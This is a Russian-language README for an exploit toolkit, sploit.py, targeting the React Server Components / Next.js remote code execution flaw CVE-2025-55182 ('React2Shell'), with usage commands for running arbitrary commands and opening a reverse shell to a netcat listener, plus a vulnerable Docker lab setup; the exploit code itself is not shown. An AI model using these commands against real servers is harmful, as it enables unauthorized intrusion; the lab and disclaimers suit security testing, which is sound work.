
Простой набор инструментов для проверки, эксплуатации и получения интерактивной оболочки через react2Shell Next.js RCE.
[!WARNING] Этот инструмент предоставлен только для авторизованного тестирования и образовательных целей. Несанкционированный доступ к сети и кража данных незаконны. Пользователи несут ответственность за получение надлежащего разрешения перед использованием этого инструмента в любой сети.
Данный репозиторий содержит простой набор инструментов для проверки, эксплуатации и получения интерактивной оболочки через CVE-2025-55182, также известную как React2Shell. Это критическая уязвимость удаленного выполнения кода (RCE) до аутентификации в React Server Components (RSC), затрагивающая версии 19.0.0, 19.1.0, 19.1.1 и 19.2.0.
Уязвимость возникает из-за небезопасной десериализации в протоколе Flight от React, что позволяет неаутентифицированным злоумышленникам выполнять произвольный код на уязвимых серверах. Она была раскрыта 3 декабря 2025 года и имеет оценку CVSS 10.0 (Critical). Хотя в первую очередь она затрагивает React Server Components, она также имеет последствия для фреймворков, таких как Next.js, которые используют RSC.
Примечание: Этот набор инструментов предназначен только для образовательных и исследовательских целей. Несанкционированная эксплуатация уязвимостей незаконна и неэтична. Используйте ответственно и только на системах, которые вам принадлежат или на которые у вас есть явное разрешение на тестирование.
Для получения более подробной информации см. официальные уведомления:
requests, argparse (установка через pip install -r requirements.txt)git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
source CVE202555182Venv/bin/activate[.fish]
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
pip install -r requirements.txt
Основной скрипт — sploit.py. Запустите его со следующими опциями:
python sploit.py --help
--target <URL>: Целевой URL (например, http://vulnerable-site.com).--mode <validate|sploit|shell>: Режим работы.
validate: Проверка уязвимости без эксплуатации.sploit: Выполнение пользовательской команды.shell: Установка интерактивной обратной оболочки.--command <CMD>: Команда для выполнения (обязательно для режима sploit).--lhost <IP>: Локальный хост для обратной оболочки (обязательно для режима shell).--lport <PORT>: Локальный порт для обратной оболочки (по умолчанию: 4444).Проверка уязвимости:
python sploit.py --target http://example.com --mode validate
Эксплуатация с выполнением команды:
python sploit.py --target http://example.com --mode sploit --command "whoami"
Получение интерактивной оболочки:
Сначала настройте слушатель (например, nc -lvnp 4444), затем:
python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
Для технического погружения:
{
"dependencies": {
"next": "14.3.0-canary.77",
"react": "19.0.0",
"react-dom": "19.0.0"
},
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start"
}
}
rm tsconfig.json
mkdir -p app
# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
return (
<html lang="en">
<body>{children}</body>
</html>
);
}
echo "/* minimal css - required by Next.js */" > app/globals.css
cat > app/page.tsx << 'EOF'
export default function Home() {
return (
<main>
<h1>react2shell lab is running!</h1>
<p>Start sploiting → /api/vulnerable-endpoint</p>
</main>
);
}
FROM node:20-alpine
WORKDIR /app
# Copy only package files first (better caching)
COPY package*.json ./
# Install dependencies with legacy peer deps (required for this old canary)
RUN npm install --legacy-peer-deps
# Copy the rest of the app
COPY . .
# Remove tsconfig.json so Next.js doesn't try to auto-install TypeScript (this was the killer)
RUN rm -f tsconfig.json
# Build the Next.js app
RUN npm run build
# Expose port
EXPOSE 3000
# Start the app
CMD ["npm", "start"]
docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell
→ http://localhost:3000Готово. Контейнер запускается менее чем за 2 секунды и готов к цепочкам прототипного загрязнения → RCE.Необязательная однострочная команда для уничтожения и перезапуска в любое время:bash
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell